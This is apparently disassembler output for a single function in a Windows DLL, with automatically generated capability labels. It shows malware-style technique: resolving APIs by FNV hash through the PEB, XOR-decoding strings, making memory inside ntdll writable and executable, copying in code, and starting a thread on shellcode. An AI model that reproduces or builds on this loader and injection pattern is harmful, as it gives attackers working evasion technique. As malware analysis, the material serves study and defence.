Function at 0x180002e10
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
call fcn.180003ea0
test al, al
jne 0x180002efb
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002ed7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002ed7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180002ed2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x180002eb0
cmp r8d, 0xf84eee59
je 0x180002edc
test r9d, r9d
jne 0x180002e90
mov rax, qword [rax]
jmp 0x180002e60
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
lea rcx, [rdx - 1]
call rax
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov rcx, qword [rax + 0x20]
add rax, 0x20
cmp rcx, rax
je 0x180002f2f
mov rax, qword [rcx + 0x20]
mov qword [0x18004d568], rax
test rax, rax
jne 0x180002feb
jmp 0x180002f3a
mov qword [0x18004d568], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002fc7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002fc7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002fc2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180002fa0
cmp r8d, 0xf84eee59
je 0x180002fcc
test r9d, r9d
jne 0x180002f80
mov rax, qword [rax]
jmp 0x180002f50
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
lea rcx, [rdx - 1]
call rax
mov r8d, 7
lea rdx, str.C:CFG_
lea rcx, [0x18004c130]
call fcn.180007270
lea rcx, [0x18004c130]
call fcn.180006080
mov r9d, 0x40
mov dword [rsp + 0x20], 1
lea rdx, str.C:CFGcfg.cfg
lea rcx, [rbp]
lea r8d, [r9 - 0x3f]
call fcn.180001cd0
mov rcx, qword [rbp]
movsxd rax, dword [rcx + 4]
cmp dword [rbp + rax + 0x10], 0
je 0x180003051
lea rcx, [0x18004c130]
call fcn.180005ba0
mov rcx, qword [rbp]
movsxd rax, dword [rcx + 4]
lea rcx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax], rcx
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 0x10]
call fcn.1800026c0
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::ios_base.0
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 0xb0]
mov qword [rbp + 0xb0], rax
call fcn.18000dccc
mov rax, qword [0x18004d568]
add rax, 0x73df958
mov qword [0x18004d520], rax
jne 0x18000318c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180003167
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180003167
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180003162
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180003140
cmp r8d, 0xf84eee59
je 0x18000316c
test r9d, r9d
jne 0x180003120
mov rax, qword [rax]
jmp 0x1800030f0
mov edx, dword [rbx + 0x24]
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
xor edx, edx
add rax, r10
lea rcx, [rdx - 1]
call rax
movabs rax, 0xb69526fc987cf476
movabs r14, 0x84a64a99f60e911d
mov qword [rsp + 0x40], rax
movabs r15, 0x255d9b38587116ee
movabs rax, 0x255d9b38341d72c0
mov qword [rbp - 0x70], r14
mov qword [rsp + 0x48], rax
mov rax, qword gs:[0x30]
movdqa xmm0, xmmword [rsp + 0x40]
mov qword [rbp - 0x68], r15
pxor xmm0, xmmword [rbp - 0x70]
mov rcx, qword [rax + 0x60]
movdqa xmmword [rsp + 0x40], xmm0
mov rbx, qword [rcx + 0x18]
add rbx, 0x20
mov r11, qword [rbx]
cmp r11, rbx
je 0x180003254
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [r11 + 0x50]
lea r10, [rsp + 0x40]
test r9, r9
je 0x18000324c
nop
movsx ecx, byte [r10]
lea r10, [r10 + 1]
movzx r8d, word [r9]
lea r9, [r9 + 2]
lea eax, [rcx - 0x41]
cmp ax, 0x19
lea edx, [rcx + 0x20]
lea eax, [r8 - 0x41]
cmova dx, cx
cmp ax, 0x19
ja 0x18000323d
add r8w, 0x20
test dx, dx
je 0x1800034f9
cmp dx, r8w
je 0x180003210
mov r11, qword [r11]
cmp r11, rbx
jne 0x180003200
xor ebx, ebx
movabs rax, 0xf0df08f08262e450
mov qword [rbp - 0x60], r14
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
movabs rax, 0x6638ff510f1e428b
mov qword [rbp - 0x58], r15
mov qword [rsp + 0x58], rax
movabs rsi, 0x57c1601e80adb980
movdqa xmm0, xmmword [rsp + 0x50]
movabs rax, 0x887eb0077a3463af
pxor xmm0, xmmword [rbp - 0x60]
movabs rdi, 0x887eb0077a4602c7
mov qword [rsp + 0x60], rax
mov rcx, rbx
mov qword [rsp + 0x68], rsi
movdqa xmm1, xmmword [rsp + 0x60]
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rsi
pxor xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x50], xmm0
call fcn.180008cb0
mov qword [0x18004d4f0], rax
lea rdx, [rsp + 0x70]
mov qword [rbp - 0x78], rsi
movabs rax, 0xf6c722da936af84a
mov qword [rsp + 0x70], rax
mov rcx, rbx
movabs rax, 0x6734ef542d3c79ba
mov qword [rbp - 0x40], r14
mov qword [rsp + 0x78], rax
movabs rax, 0x887eb0077a2376be
movdqa xmm0, xmmword [rsp + 0x70]
mov qword [rbp - 0x80], rax
movdqa xmm1, xmmword [rbp - 0x80]
mov qword [rbp - 0x38], r15
pxor xmm0, xmmword [rbp - 0x40]
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rsi
pxor xmm1, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
call fcn.180008cb0
lea rcx, str.ntdll.dll
mov qword [0x18004d4f8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8, rax
test rax, rax
je 0x1800034cf
movups xmm1, xmmword [rax + 0x30]
mov ebx, 2
lea rcx, [rbp + 0x110]
mov edx, ebx
psrldq xmm1, 0xc
movd eax, xmm1
cdqe
add rax, r8
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x180003390
mov rax, qword [rax]
mov qword [rcx], rax
mov edi, dword [rbp + 0x160]
add rdi, 0xfffffffffffffc00
add rdi, r8
je 0x1800034cf
lea r9, [rbp + 0x240]
mov edx, 0x100
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
mov edx, 0x100
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [0x180004a60]
mov rdx, rdi
mov rsi, rax
lea rax, [0x180004a80]
mov qword [rsi], rax
mov qword [rsi + 8], 0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rdx - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm1
sub rbx, 1
jne 0x180003450
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9, rdi
xor r8d, r8d
mov rcx, rax
xor edx, edx
lea rax, [0x18004d4cc]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edx, 0xfa
mov ecx, edx
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
jmp qword [sym.imp.KERNEL32.dll_Beep]
mov rbx, qword [r11 + 0x20]
jmp 0x180003256